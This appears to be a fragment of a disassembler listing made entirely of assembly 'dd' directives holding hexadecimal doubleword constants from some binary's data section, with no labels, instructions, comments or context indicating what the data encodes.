		dd 7E7F0090h, 5D32330Bh, 0C7269B7Dh, 5F11B4B9h,	8179571Bh
		dd 0C81F7CC0h, 18756E2Eh, 204EFE02h, 0AA5C6874h, 4853A8Bh
		dd 0A07BBE80h, 9BDA36A9h, 0A197E3FAh, 0AC92EB7Ch, 0E19CB3F3h
		dd 0C502236Dh, 0A27D7066h, 1B433800h, 0EE410D14h, 7DC11E8Ah
		dd 0FAC684E3h, 58E69Fh,	3D1B8B1Ch, 1CA4A1AEh, 528C3698h
		dd 7B9C9217h, 60E48C4h,	7C4E5A52h, 304BFA00h, 2E417425h
		dd 1198E062h, 0B4AA0C64h, 3ABC8B7h, 2EAC3D07h, 64F8198Bh
		dd 0E304E90Ch, 5A8984A0h, 205CD892h, 36A61B97h,	0A0DDA300h
		dd 81BC6CDEh, 0D03A00D6h, 7E1C568Dh, 5A1B2324h,	0C1A17A78h
		dd 562FD59Ch, 2E3C837Ch
		dd 0E4018589h, 0EE0533C0h, 591CEBDEh, 85648C4h,	8ACA4800h
		dd 25175D8Bh, 0F068AED2h, 45417B57h, 2A0BE838h,	0AE0950C2h
		dd 0C79E6810h, 2081430Eh, 0BC3043EEh, 5EB4F8E1h, 0E0514834h
		dd 1B7D5982h, 5A012481h, 16943266h, 0C4300C4Eh,	298BE628h
		dd 8844F641h, 0D4AC4D5Fh, 0AA51942Eh, 14C731D4h, 284B863Bh
		dd 0CDE412Dh, 84093C1Ah, 88404C64h, 70C7CE13h, 0EECA4B03h
		dd 0E82B1808h, 0F177CB5h, 0D0F31505h, 9709A400h, 0BE030DF4h
		dd 0C6F5398Dh, 320CC0DBh, 0B6081D50h, 790A074Ah, 3C39B06Ah
		dd 34A8B163h, 0AB7F1069h, 2EC2B50Fh, 361481B6h,	0A70585Dh
		dd 0E8294892h, 93575104h, 0F6F08096h, 8A052C7h,	0A800EE32h
		dd 0CF9C0F60h, 90027CF0h, 43590B4h, 90E6EC37h, 9CCA3ACh
		dd 51E4DF9Dh, 0A111A8h,	886AD697h, 24F9C0B7h, 50C02024h
		dd 0F688FDB4h, 7471269Ch, 0AC0B03E6h, 0D6CF0530h, 0F34A591Bh
		dd 0BBBC8400h, 58607EF2h, 0C854B00Ch, 25A520E0h, 5820EB5Ah
		dd 0E6A0E2ECh, 54AC0017h, 0F63B18DEh, 2A03951Ah, 2C939C23h
		dd 8C14D072h, 0DCB402F4h, 8E1C6F25h, 4156DC84h,	0FC0E90AFh
		dd 0F35BB640h, 77CA78EDh, 0F033AAEh, 0C97A6900h, 9C0618DBh
		dd 0BAEC8A1Ch, 8E844402h, 78F1C3h, 7CE82FA3h, 0D078F267h
		dd 0F04200B6h, 0DA08A0C5h, 50505618h, 7B6BC85h,	28AC5B22h
		dd 639C50EAh, 21121B04h, 2CB28255h, 0AAE4F100h,	4D2733Bh
		dd 3F01E2EAh, 3D3E2DEEh, 413B7983h, 0EF85E54h, 1F86F4CCh
		dd 0B8381300h, 41CEF0D1h, 19751F27h, 895D00C4h,	0FBC26FC9h
		dd 44495E2Dh, 0E98B22DCh, 710038A6h, 80864351h,	5C96A6F5h
		dd 49018B9Ah, 0B554F70Bh, 0C522E4FFh, 0E900C091h, 9101E582h
		dd 0C8C34E2Bh, 60E081Ch, 81BACEC5h, 0B334AA80h,	6B2B6810h
		dd 4CE4EE03h, 0E0F8EC3Fh, 3CDC741Fh, 1AC8E1DDh,	0E61A201h
		dd 20220670h, 8A09FA4h,	5927EADAh, 244C2664h, 9858BA20h
		dd 52D6077Ch, 0ABB97107h, 11D72C86h, 2138DEh, 0D30D228h
		dd 0C5E8D1DAh, 0EF00ECA4h, 7760F4Bh, 985E0538h,	0B6A19884h
		dd 3EA64134h, 4832B3h, 5BB1661Ch, 45D5621h, 1055D45Eh
		dd 89E0EDE4h, 334B80B1h, 58A80999h, 313C10ECh, 405EB8C8h
		dd 27B2880Ch, 4C94217Eh, 9EF20478h, 9461C9ACh, 1925D71Bh
		dd 0DBA80956h, 0E700BD64h, 6E339F37h, 0FBF09B8Eh, 9AC6F400h
		dd 39AA927Ah, 126D1826h, 0C18C08D4h, 5A2E8601h,	0A7921C9Bh
		dd 5982042Dh, 7D201763h, 4C532218h, 6011CC7Eh, 89487C56h
		dd 71A91678h, 81D45C05h, 9CD1C885h, 5440478Ah, 4E82D609h
		dd 79808223h, 6B00D064h, 9C78F2B5h, 2E90AE58h, 140CB4E3h
		dd 0BC8090E1h, 0E79CEAFBh, 6C40354Bh, 6A38EC5Fh, 0DC10B530h
		dd 7F00BBB6h, 0D3C192FDh, 7C5CD5h, 1ED69C79h, 2646148Ch
		dd 5E50EB48h, 51FC2400h, 27ECA6C0h, 1C6BC29Bh, 5100E883h
		dd 11945E5Fh, 70BA6EE6h, 4A6B1240h, 41F201B8h, 416F01B7h
		dd 101D5F94h, 0CDEF7Ch,	0C8779D93h, 6B1DA7Bh, 5F0D9F78h
		dd 30056607h, 0F81456D1h, 8012C0A8h, 0B1F525h, 1BC723BCh
		dd 3D0E745Eh, 0EA7EF70Fh, 7339C25Fh, 7DE446A9h,	7268F206h
		dd 3BA40060h, 27A5DF40h, 911C8386h, 0BF5F8Eh, 7FFD626Ah
		dd 0FBD13102h, 38A589Fh, 0ABF96BBFh, 77C7C8E0h,	0F6245A2Fh
		dd 0E19032CBh, 484A0441h, 0AB0441E0h, 5F5A9583h, 0CEA020ECh
		dd 0EB00FE18h, 0C1C5650Dh, 0C8C3AAh, 0B202277Eh, 0D4E16422h
		dd 0A079F22Fh, 0AA1390C8h, 0C5FF00DCh, 45EBE0B5h, 0D338E24Dh
		dd 0DFAB89D8h, 0A0F965h, 0CBE5022Eh, 0E01E2AC9h, 7D121986h
		dd 0AF219C1Ah, 8D8B84A8h, 0D91224B8h, 7BF4C0F7h, 0E3751C0Dh
		dd 4D8B7C01h, 1D218217h, 0EC093022h, 40D19CD4h,	9EE86014h
		dd 43A582C1h, 0A0610D77h, 0A0B21844h, 7D067EA0h, 3D2E9A1Dh
		dd 43BD8C40h, 12FCAC36h, 0F3A6C669h, 0DE9D0A18h, 0D50844EEh
		dd 40D4AE97h, 71764F8Ah, 8B80E901h, 0E52E2B19h,	0CC80443Ch
		dd 5D609A53h, 2CFC644Ch, 4E1E8A4h, 608002F8h, 406FDE5Eh
		dd 14A787Fh, 19B4C8h, 0F3B68324h, 0F6289036h, 0AF583DFCh
		dd 71A201D2h, 4D8ADBA8h, 0A7C87828h, 84406044h,	0A82667C6h
		dd 91160498h, 60A2A0E4h, 0B69C9782h, 5FEC1064h,	33390203h
		dd 0F2A00BF3h, 0B3088277h, 3CDAC6h, 9F0C6A18h, 6FDFE1D3h
		dd 50B5547Ah, 97BCBACBh, 1A0017F8h, 2BFE7FE9h, 0C05F0322h
		dd 0EA43F811h, 0DA00BCA8h, 9D2AEE33h, 965E4C8Fh, 0B1CF7Ch
		dd 0BFDAB057h, 0AAAB55h, 33A646B9h, 2CD2BEB4h, 0C8607705h
		dd 0A4D435F5h, 0F33964F2h, 809049B4h, 84A10C38h, 0A820024Bh
		dd 0A9AE2Bh, 0F0EA2918h, 9BF7999Ch, 0CA3DBC01h,	0DF614BC5h
		dd 3C66FCh, 5D0FE8A0h, 4F44D9Ah, 0EC09A0C0h, 0C05EC799h
		dd 0D3468BF0h, 694B224Eh, 98CC9C24h, 0EB320BC8h, 6C62F997h
		dd 2C00F459h, 0E8F54D6h, 0F18E0027h, 499788F6h,	28278AE4h
		dd 1F3440A5h, 78578862h, 0C4A7A8B1h, 0EBDE0750h, 21AECCC1h
		dd 0C8461261h, 0A100F197h, 0D64720BBh, 6521C992h, 0B82750BAh
		dd 9D40A168h, 45B1ECh, 71ED3ACh, 0EF6EE096h, 0F73A7A00h
		dd 7112FAEBh, 0C6B1027Eh, 0B75E7D54h, 8059A041h, 9634410h
		dd 8381FE4Dh, 680C2842h, 0F6411C28h, 58242834h,	0E0E1279Dh
		dd 0F97EC8B8h, 0BDF8611Ch, 360A847h, 0A1B45A13h, 26E0C605h
		dd 0AC5A02h, 0FA66ADA4h, 15E71E21h, 74214C85h, 74606525h
		dd 79220189h, 0F9C0C3C4h, 88682C1Ch, 0F090A75Ah, 670002F9h
		dd 0C0ACEB06h, 99A19E64h, 803CB58h, 41095E27h, 41CAB8Ah
		dd 5940F744h, 5E3ED3E4h, 2B09C092h, 996082D4h, 8807DD58h
		dd 98851016h, 21FC1880h, 95B4B9CCh, 552068DCh, 0E5D59B14h
		dd 8118889Ch, 582A463Eh, 48642F2Ch, 0DDE34880h,	0C8604A9Ch
		dd 6D81BDD4h, 0E0A6C704h, 0C6AC89DBh, 5075A234h, 9A808CE8h
		dd 50D80FC0h, 0AD36F900h, 45E3664Ah, 0B2DD0AE7h, 0A4ACBACCh
		dd 198208A4h, 2D72F304h, 5857EC88h, 18C8B87Ah, 0D05F0640h
		dd 2735F31h, 7CBDD554h,	3B0A8080h, 7E00884Ah, 0B7453F34h
		dd 1831A1AAh, 113EDC7Dh, 9680421h, 2408C829h, 7E808160h
		dd 3C33622Eh, 35088034h, 3A2DACEh, 0F9D1E16Ah, 54B0F582h
		dd 5D17051Ah, 431234Eh,	63D9DE53h, 0F93ABF8h, 6C262B32h
		dd 0C7AEF4A0h, 1C16F71Dh, 54E5AA8Bh, 2846BDCh, 7E9AF37Ch
		dd 0E88E665Dh, 6182032h, 348ED2Ch, 80BC89BCh, 0B20DBE3Eh
		dd 44970025h, 78DEEB95h, 0FA1C4B17h, 9603F454h,	0C2518C28h
		dd 8AC4C0BDh, 231F00BEh, 57D51404h, 68B863B4h, 83C0035Ch
		dd 88205EF3h, 0FDE8516h, 0D228802Bh, 0D1DC0D23h, 3A9DEBE9h
		dd 0F3D39023h, 5E58A005h, 9C9524F2h, 0C0F01E40h, 93863EBAh
		dd 6200337Eh, 0A1A3D96Ah, 259A5019h, 86A5D61h, 13D54D9h
		dd 45D94416h, 21F02461h, 9F0005Eh, 60D30E05h, 0D891C041h
		dd 0DF047864h, 6478A00Fh, 9094BDh, 0B73DF4C1h, 82BA7238h
		dd 121C3E3Eh, 0CC088C32h, 0B8EFC584h, 0D4540FA0h, 19A42B83h
		dd 80226374h, 590BF45Dh, 1CEE4E7Dh, 2EBFA700h, 38077927h
		dd 5E0E7C36h, 9482A29h,	98EC8B9Dh, 96195510h, 1EFE4078h
		dd 4606C92Ch, 7F00403h,	40C55E18h, 50C46110h, 60409ECh
		dd 7C96BCA0h, 0E0885CC4h, 0CC8C491Bh, 0B18631C0h, 5E0077D3h
		dd 0C9F78197h, 95C86BC2h, 24B0CC2Ah, 44A22594h,	3CD1E0D7h
		dd 9AEB1385h, 0D29320BCh
		dd 0C4206D70h, 0CFD79h,	95155CC3h, 37213E5Eh, 4011471h
		dd 92CC1A3Fh, 50798AA5h, 1CB12622h, 46AF3A83h, 0B786915Ah
		dd 0B696D0h, 4ADA7D20h,	0A194AE43h, 0DF542314h,	0DB90908h
		dd 88001B5Ch, 787D183h,	893CD2DBh, 6AA060E7h, 0FC5EC9F3h
		dd 22054800h, 5AEB0FECh, 420889Ch, 0CA919367h, 0A8C05474h
		dd 540C934h, 53619DCEh,	2CB255h, 9FABE4C2h, 5C285EA8h
		dd 1EC06CE2h, 8E345126h, 0F60CECB6h, 48661125h,	0E022C004h
		dd 7A6BE326h, 4401AB01h, 6EC20F67h, 440C92C8h, 0EB891EFCh
		dd 0B1D7FA10h, 6D468600h, 2C78C263h, 6F3803CBh,	0B398E253h
		dd 0E1BF0D80h, 0A500F8F4h, 1615E63h, 0D595E3h, 0BC420EF0h
		dd 3268AE11h, 0EE0073E2h, 74561DB9h, 12B88C57h,	9D6A959h
		dd 0C4982050h, 9CA499EBh, 7AD68805h, 4AC9A60h, 0F822384Ch
		dd 6BD2590Bh, 54C0B2ACh, 0CFBF4084h, 647F9C0Fh,	43B72707h
		dd 0D37010B9h, 2879BA24h, 5CD8F037h, 6FDF685Ah,	0E892D096h
		dd 615711F1h, 7D0019BCh, 7C5BCB53h, 295BAC01h, 70304017h
		dd 0AF13ECh, 5CE76B3h, 0E1D09B7Ch, 14232107h, 515B4E7Eh
		dd 0EB11E0h, 3CC07493h,	9A16DDh, 2005DFBCh, 0B6A2AE39h
		dd 0C5009B72h, 0DC2769BDh, 7E6179h, 58AD482Ch, 5515B9AFh
		dd 0B0591C28h, 51D7C709h, 401C5441h, 5B772C0h, 0BD309800h
		dd 0A1A6D2B3h, 73D70504h, 20498CDCh, 84A009C4h,	0EFCC9895h
		dd 0A8227C34h, 58B99CCh, 60CBBB1Eh, 1130A219h, 0F312FED5h
		dd 0FF500A7Dh, 0D65DE0F0h, 0FEA31279h, 54C54CA2h, 26B6503h
		dd 5B0FD096h, 67781D37h, 5F098221h, 88FA8A7Fh, 6B9C5901h
		dd 254E6057h, 99D8452Eh, 1EDC8051h, 1B24ACA0h, 0F300943Bh
		dd 3E8AEED0h, 5023036Ah, 7E9D4432h, 1230CB90h, 0D611AC00h
		dd 0EDAABD95h, 43FD019Ch, 0D79B85B8h, 4A436E4h,	17E270Eh
		dd 4B214C98h, 7F64C918h, 0BF803C21h, 3F9460h, 0C75DAB56h
		dd 7D4565C0h, 9F10795Ch, 93465947h, 967000FBh, 2E3D752Dh
		dd 5068DE03h, 5E802697h, 244C1277h, 0E14C1DAEh,	225B404h
		dd 887104B4h, 0B0B63512h, 882F1508h, 0CC4099CFh, 1322E214h
		dd 0A278013Bh, 98ECC500h, 1380C8BDh, 875EAC03h,	8E346095h
		dd 433E09ADh, 0B07A9ED2h, 0CC68928h, 100C74A1h,	9CF211h
		dd 7508E379h, 86BE8BA8h, 716BA701h, 0C68C8974h,	619C0841h
		dd 931F1447h, 0CCC8F4A5h, 0FCFA00D1h, 52E6E77Eh, 4701984Eh
		dd 0F3ABB7D4h, 0B048488Bh, 0D2AE1241h, 94CC70B6h, 0EF04899Bh
		dd 2D0BA252h, 9A20D4FCh, 0AFF3F63Fh, 218C98E1h,	0DD7501FAh
		dd 0E8439901h, 0DC186F10h, 258453F0h, 3C51B68Eh, 0AC111C03h
		dd 437AC8BBh, 5BA700A5h, 0C2E78F61h, 3413AA2Ch,	0F0F02DE3h
		dd 0E428ED8Bh, 2130E6D2h, 5FFC05A2h, 0A060BC1Bh, 8850C6AAh
		dd 1400E248h, 0F74B3031h, 0B01F981Bh, 0F3C60177h, 0E8DC607Eh
		dd 104A6EABh, 583C3C40h, 0DD938070h, 0E8BDFE9h,	0F50B2C87h
		dd 17E6AA20h, 355B5614h, 0B081E85Dh, 4FAC28F6h,	0B634C0h
		dd 317DA3F3h, 222DE0EBh, 0E79C2904h, 0C8834AC7h, 8760AFF5h
		dd 7E5B25h, 7AAF9730h, 5F011B4Bh, 0D20C715Ch, 4E3C04F3h
		dd 0D4E461ADh, 46108BEh, 0C1811CB6h, 0C557B9DEh, 0A3CAEC88h
		dd 4201D92Eh, 6674852Fh, 2DD4F8C7h, 9D8344F6h, 7916DFD6h
		dd 98A297ECh, 2E05E221h, 80ACA1E4h, 1944F681h, 0F0726A55h
		dd 4388D179h, 0ABF951CFh, 17CE20D2h, 600C7104h,	281937Fh
		dd 6BD114C7h, 89005C26h, 0C8BD1AC0h, 714C1C31h,	830840E8h
		dd 0D10F0278h, 0F29C25CFh, 0D200F0F2h, 5CA7C079h, 34B859ACh
		dd 2D660100h, 39E7D605h, 0A01D5823h, 67908897h,	9E7CEB00h
		dd 801E12E9h, 0A055E64Eh, 8A177D68h, 8924185Dh,	0BA6F00B8h
		dd 779C1434h, 0C70F201Bh, 0AF043AFh, 8B0A085Fh,	412D14C0h
		dd 7E10F790h, 5A7AC232h, 2DB98217h, 11C1C40Ch, 2E0F2CE8h
		dd 2E0480Ch, 1D4E50B0h,	0EB058C59h, 0D4B4AED5h,	47D21688h
		dd 3528D07Bh, 3B3D6A01h, 0A16280B3h, 0A084F96Bh, 0A2171309h
		dd 7CCB0589h, 8748FC37h, 8BE068FCh, 0EE6F016h, 73DA7135h
		dd 0D665443Fh, 0AF1CB036h, 21F86608h, 8D86420h,	5E1002FFh
		dd 18E61F4Eh, 21026642h, 0E52BAE02h, 1B02F4E4h,	6E1C561Eh
		dd 0F8C89BA6h, 4C2A60h,	5E055AF8h, 0D8A4A7Dh, 8C0C7500h
		dd 12C8B6A0h, 897C00FEh, 0B0B52DACh, 6400A259h,	2EBD8BE8h
		dd 29B93B93h, 0ADFC72D4h, 109A7019h, 8AFD8A9Dh,	6A7964C1h
		dd 501A5040h, 0B560DEh,	0C3964CE1h, 65BAE564h, 0F025B805h
		dd 0F409D8E3h, 0FC581A5Dh, 84044B7Ch, 0F690D24Fh, 8069A07Ch
		dd 8E9B690Ch, 931C3F2Ah, 208BE28h, 560C1777h, 84447A7Dh
		dd 164B9202h, 0F8880604h, 0F02EA2E8h, 63D200E8h, 9BDA2FACh
		dd 1D40ADDEh, 576105CAh, 9114775Ah, 0ECCF215Ch,	0A82D99ECh
		dd 0E86C0Bh, 0BDD81504h, 608885Eh, 58A5452Eh, 2FFE6008h
		dd 0B4F9E810h, 517FA00h, 44263650h, 408B3260h, 0C4F4C658h
		dd 0A7E09163h, 100203F1h, 9BC2880h, 8D798EBh, 0B51440B1h
		dd 921C0764h, 8CAB69Ch,	84007313h, 2713E884h, 98F100E6h
		dd 3194B68Bh, 95000DF4h, 0C715FC19h, 24CFA0Eh, 3D5621BCh
		dd 94C6A694h, 2B779207h, 22E06FAAh, 64CEB32Fh, 56B9B0E8h
		dd 2C5FD4F6h, 0EC27AA28h, 53A048CFh, 14DEF0EBh,	5843AC6Ch
		dd 0DAC8C4Fh, 0A1E8C510h, 7048C85Ah, 0C4318400h, 403D953Fh
		dd 64235CD3h, 3B9F470Ah, 5D2700FCh, 4BC84D88h, 72D1E548h
		dd 0CAE6F700h, 9659C0Dh, 5F180060h, 9B80C644h, 0CCBB15E4h
		dd 10C51F0Bh, 0E298EC0h, 311B78EBh, 33F60F00h, 1C09D0A4h
		dd 5CC0961h, 0F0222574h, 0FA6D22EEh, 44FF14E0h,	4EC548h
		dd 0F4C3FA1h, 0F6B13CFh, 4A2CE02Ah, 0D2F09F80h,	0B00445Bh
		dd 882B7E42h, 584DE3Fh,	0D4502FB9h, 9D9CC179h, 0A99410A1h
		dd 8E20059h, 2298A17h, 60A88F04h, 0AF000F4Dh, 262BB665h
		dd 0F4497Ch, 8BEB301Eh,	0F89F92DEh, 6A3CE37Dh, 0F6190ECCh
		dd 37140C6h, 9DFFF4A1h,	1D622890h, 0C1A05D50h, 0C8D2D300h
		dd 0A7916CE1h, 32D04EECh, 892F4F48h, 890899CEh,	8B4A9B18h
		dd 0E8BC8094h, 87AAE984h, 7EEFC0B9h, 490077F9h,	37802C5Ah
		dd 4E9E1281h, 0FD3020A2h, 71677D7Bh, 3F2021A8h,	1D5DD5A0h
		dd 0BD9FF7BEh, 0B2949C00h, 0E3AA9DC0h, 0C47FCE25h, 0C7A70578h
		dd 0C39CFE64h, 0DE86D87h, 0E0B957Eh, 110C4E9Ah,	0A4720154h
		dd 0E4DC007Eh, 0C3A6767Eh, 0AA9762D5h, 282CEC60h, 5A617964h
		dd 1881145Fh, 0D8202426h, 60EC89D2h, 0E071346h,	0E983F2D9h
		dd 0C33BB370h, 0E86627ABh, 3EC4022h, 0B800F0F2h, 823E74F0h
		dd 0ACC267h, 45805A95h,	8BB419CAh, 4B777F04h, 44A9CE11h
		dd 121F8410h, 68D1FB21h, 0E037F7E3h, 83B4205Ah,	0DA13B55Bh
		dd 34025FBFh, 0F67ED51Eh, 298C0388h, 2DC3EA77h,	828D48A1h
		dd 4418D110h, 40B85683h, 0FE6D236Ch, 82ECF707h,	614266AAh
		dd 1DA0605Fh, 214E80A2h, 0AA0EC8A4h, 0A174D259h, 148537A1h
		dd 28507CE1h, 1A330CFh,	705E54Eh, 60CB02A1h, 6309CC27h
		dd 4A551812h, 98E4B4h, 0D1BF7EF4h, 4625F863h, 7CD05E1Dh
		dd 47F58B42h, 0BB64E0EFh, 230F39F1h, 0F077D300h, 0A3392A0Eh
		dd 9D558003h, 0C91BC47Ch, 582203E9h, 0FCB2000h,	0BE37E021h
		dd 30008E78h, 6FEF7BA5h, 0EEDE87Eh, 4E062267h, 401C973Fh
		dd 34320D4Ch, 7E49DE9Ch
		dd 28FE4108h, 0EB108298h, 9754D19Bh, 0CF88C87Bh, 99EAF509h
		dd 0D7B091FFh, 6128F608h, 8922AC60h, 11BE82A1h,	72C3ACh
		dd 0A25A9703h, 4AD0E6FEh, 9A01E45Ch, 1AC501Dh, 0B09BA045h
		dd 0E4CD593Bh, 3C3A30C0h, 0D5C12B5h, 0CDC4E1B1h, 30196409h
		dd 64574473h, 89C828AEh, 0F9FF1303h, 0B52F462Bh, 9DFE8008h
		dd 7278C15Bh, 0FAFC93F4h, 664340F4h, 18C9129Fh,	0C020A95Ch
		dd 0D11C86DAh, 12020016h, 2A90E3AFh, 88B1598Bh,	8813FD91h
		dd 0A4B0009Ch, 4B1A8057h, 0F2EC6104h, 0F8C1419Fh, 0D020F9A1h
		dd 0D8034CEBh, 3D1F9180h, 0F000F578h, 0C4B27783h, 1C57FE42h
		dd 40270890h, 0D8892BEAh, 2E009650h, 0B528D44h,	904DA03h
		dd 0E8051BB1h, 64DED481h, 2A7831A9h, 0F15E78CCh, 7109862h
		dd 8B007609h, 4FF276BBh, 7A18E7E2h, 109C48ACh, 20B07EC7h
		dd 26B459CDh, 439B0200h, 30B5F2A7h, 33930083h, 0BA192B7Dh
		dd 0D5E9D927h, 0D0233A5Fh, 21E682ECh, 0F4C856AFh, 2225E4DEh
		dd 9DF4C46Dh, 4B00C04Dh, 0EA564D5Eh, 38889903h,	73F4CD8Fh
		dd 0AC6E3A61h, 0EC427AC6h, 92E49C25h, 4FE45ED8h, 87F2E320h
		dd 2371A34Ah, 0A19FD47Dh, 566157ECh, 3E54E315h,	9BC0020Dh
		dd 0D61781F2h, 262E4388h, 0D1123AD8h, 3BAAC902h, 0FC960AFCh
		dd 889C4348h, 33AC60E0h, 4F7A7E0Fh, 137D6059h, 0EA1E99FCh
		dd 0AE8700BDh, 0E2DA61B0h, 7700DCFEh, 84327E62h, 1C7DC666h
		dd 42561E21h, 9C28A986h, 0A24548E0h, 80535538h,	8A85F870h
		dd 5859E763h, 7D8E6479h, 6D6CB4D2h, 3201877Eh, 1DBC2DAh
		dd 2C2FF61Eh, 0F912FA2Ch, 7086CED6h, 1EF30B68h,	84465915h
		dd 7AE48805h, 3C84C224h, 0D15C20BEh, 73396F98h,	3EA3B054h
		dd 5C212CF8h, 192F70A7h, 0A8044C95h, 5D4052C6h,	67C586C2h
		dd 21CD2300h, 43F6837Dh, 0FD2B03E5h, 0A95AB55Ch, 651B7804h
		dd 98B4E217h, 4F2804A3h, 4972244Eh, 569C9001h, 7B8E40Eh
		dd 0EA917DC3h, 0F7C26041h, 0C401E070h, 1D61E2E9h, 0C42B36C8h
		dd 0CBE48C94h, 8B678F00h, 6E7E5149h, 5E6600BAh,	0A24234ECh
		dd 7948F0EBh, 0AB5D800Ch, 54237Ch, 123D37E2h, 659DC3F9h
		dd 0E01A2000h, 498C173Ch, 40E200F3h, 84A343D9h,	7F5F148Ah
		dd 7DBC38C8h, 34CFC58h,	0A78A6AFh, 0F0803A2Ah, 1501293Bh
		dd 0E06104D4h, 0D0603871h, 0F3B80197h, 209C478Ah, 0D30BF4E3h
		dd 9E9F821Fh, 9BBF39C6h, 0E1032A19h, 49BB0488h,	0C0305521h
		dd 0A7BE4213h, 0B11B7602h, 5D572EB5h, 897D9890h, 94655A27h
		dd 0EAA0900h, 0A080B281h, 0F64EA656h, 0B8284000h, 0DFC19843h
		dd 0A48C5884h, 8E005522h, 728109F9h, 4C4FA2h, 0E7296F53h
		dd 699D5BB5h, 9C01B877h, 0FD6C8293h, 9B60B3ADh,	0E0084B4Dh
		dd 0C622AAECh, 0BCE40051h, 3F52B921h, 130EA077h, 0C1D7D19Eh
		dd 0F05D1F17h, 28C0206Fh, 290087EEh, 0B0CAFE56h, 0D19BE4h
		dd 5761E892h, 88FA9985h, 187B303h, 0DA4BB870h, 75A0A093h
		dd 33E44A5h, 2A37D879h,	0C7A40F46h, 0ECA971ACh,	1D3862D6h
		dd 80848C06h, 31EAB268h, 3AABED1Ch, 0B788C48h, 0CC986557h
		dd 462C0560h, 42A7A014h, 406CDCDCh, 65F1671Bh, 22A6B80Fh
		dd 99CC2BD9h, 0FCE4DBC8h, 0A10F0104h, 0CAB7CE63h, 0E0F320C3h
		dd 0A02CDE28h, 94642D09h, 797482EFh, 0F27D2018h, 0D4B8CAA6h
		dd 49C52E18h, 0E9A8619h, 0B4C7714Eh, 39D09700h,	0FFE44167h
		dd 0F2458200h, 3471FE48h, 0FB05098Ah, 0CE87A1Eh, 0C0019E67h
		dd 9AAA8E55h, 167F214Dh, 99380240h, 547308DFh, 15A04E00h
		dd 9238DB1h, 7AD86022h,	0F9B77683h, 0DD68A5F7h,	4CB023D0h
		dd 411600A5h, 2EA4A9B4h, 5F4600D8h, 0E63BB57h, 8D283A0Dh
		dd 3ECBCC3h, 46B57F06h,	1E489BF7h, 4B5EAA6Bh, 68A28AA2h
		dd 8CD9E7E0h, 4DE8FF85h, 0E955440h, 57D6E55h, 0ABD69409h
		dd 608C9145h, 0B833DAh,	4D6E787Dh, 40D41D9h, 0CC890A02h
		dd 2198C0A8h, 825AF08Ch, 0A9F634C2h, 3E5C7940h,	48F4BE00h
		dd 9A910D24h, 0D2EA5B04h, 30EE8340h, 0EC27E3B4h, 0CD218D0Bh
		dd 0F812026Bh, 6904007h, 3DC827FBh, 0D59DC8E0h,	0D44400B6h
		dd 4347C837h, 7F090C82h, 599C3820h, 0BF18CEF0h,	2878017Eh
		dd 0AD0178Ch, 17C0B450h, 64E2134Ah, 0D1B03900h,	9A10E23Bh
		dd 188E9900h, 68AE704Bh, 0A55102FEh, 0F0690A01h, 7D01FCF0h
		dd 0B732D495h, 0F02482C8h, 0EE533333h, 0FDC061C0h, 89808CA7h
		dd 84568AE7h, 0C3006F47h, 6467A0h, 78DDD1D5h, 0F7F9B471h
		dd 48B62104h, 8EFA422h,	28AE5704h, 0AD17FE40h, 5F2E224h
		dd 4E86D714h, 0A0A4B820h, 0B71562h, 4A8D9095h, 976F26ECh
		dd 85BE0902h, 0C07D13B9h, 4A01A400h, 2BE8C852h,	0B091A701h
		dd 3293CD39h, 792C8D4h,	4F9DDB5Ah, 1C0E107Dh, 773E100Bh
		dd 0E88937E0h, 0C6845727h, 0A36D18D0h, 96A6051Ah, 0F38FD9h
		dd 0EDE63A90h, 8A07D5A4h, 0F9B9EEC2h, 0DFF51DC1h, 0AC431880h
		dd 0C860799Ah, 165817FCh, 92EC1710h, 0D81F5C00h, 3D15EBh
		dd 0F4E3B35Fh, 5B728E3Ah, 1BC6CC00h, 15AB61D3h,	0FA221D20h
		dd 400F5894h, 8B40637Ch, 0D82507D0h, 63625F3Ch,	180055C3h
		dd 347719B9h, 0C299FBA6h, 0EE2E4EA8h, 0F3F46207h, 9362E50Fh
		dd 22E0A8F2h, 0A10134BDh, 5B0DE439h, 0DBE8A4DEh, 40C9628Fh
		dd 7482E042h, 0A911F116h, 26401CF2h, 888C712Ah,	3C40540Ch
		dd 70041159h, 20B8F40Dh, 60921D80h, 8A7912F1h, 0FC56BF5Ah
		dd 7D538840h, 985EDB4Fh, 1C34106Ch, 544A01F5h, 70C6C821h
		dd 71FBEC20h, 289803A9h, 0EED162D2h, 0C66493Dh,	0A8835A75h
		dd 1FBBE2E8h, 0BBFC5F38h, 0E078B085h, 0C0E89479h, 0EF8D1494h
		dd 8420D053h, 0F361BF87h, 0B423F47Dh, 0A901E700h, 0E4742B7Eh
		dd 64C2F8Bh, 98E414F0h,	72D45509h, 4690ECB3h, 0D88A02E1h
		dd 7C9EF762h, 54F246Ch,	0BC49D064h, 8FA05ACh, 0A0A43529h
		dd 0B8A60BACh, 4C50197Fh, 89D2332h, 0E6F868A8h,	39B800AEh
		dd 3B215F0Eh, 9A097D81h, 0D9D79B9Fh, 2FE500E8h,	0F998A499h
		dd 1C686C63h, 70406484h, 0B8B2602Dh, 0AD192383h, 0E218B711h
		dd 5A86209Ah, 8B6C6C58h, 0BBDC4835h, 0DED600E5h, 6CC2D517h
		dd 8226D819h, 5C0E7047h, 0B722A077h, 26C82616h,	439CF5E0h
		dd 7A26E18Ch, 0DE0064D0h, 862D4E5Fh, 48E6F28Bh,	304C0068h
		dd 62E48C03h, 280EAC94h, 7B28361Eh, 87D01248h, 6A70B47Ah
		dd 0ECDA5100h, 0A03947E3h, 8376989h, 29F224F2h,	112DDA00h
		dd 0C079C215h, 487700DEh, 0A2B3181Bh, 6C356907h, 380068A7h
		dd 589C9F6h, 3900066h, 0F1CB7B31h, 0DC00EA08h, 0B2E8B407h
		dd 0E55ED2h, 69FFBEBDh,	0CDF28D7Ch, 890E4F9h, 0DFB4F90Eh
		dd 14D9C74Fh, 48E86B10h, 3054000Dh, 0ADA9A62Ah,	35006EA2h
		dd 0C8FED05Ah, 63EA28h,	0FAA1F39h, 482D4385h, 0E90F25E0h
		dd 63A27749h, 80B5E0BCh, 36A0289h, 63C0115Dh, 0F698FAB4h
		dd 0FF072AD0h, 0ED15ED6h, 0E0EB0FC2h, 1ED7A6CAh, 40E691DCh
		dd 75A57992h, 0DE747008h, 5FEB9A1Ch, 6E37D240h,	20303Bh
		dd 0D8451129h, 42258ED4h, 140198E2h, 755E71Ch, 0A82071B3h
		dd 0FF30012h, 5794115Eh, 27F8798Fh, 0E8707F28h,	6784B801h
		dd 733A0260h, 105DACCh,	0F8F5692Bh, 0D030BD2Fh,	2900A948h
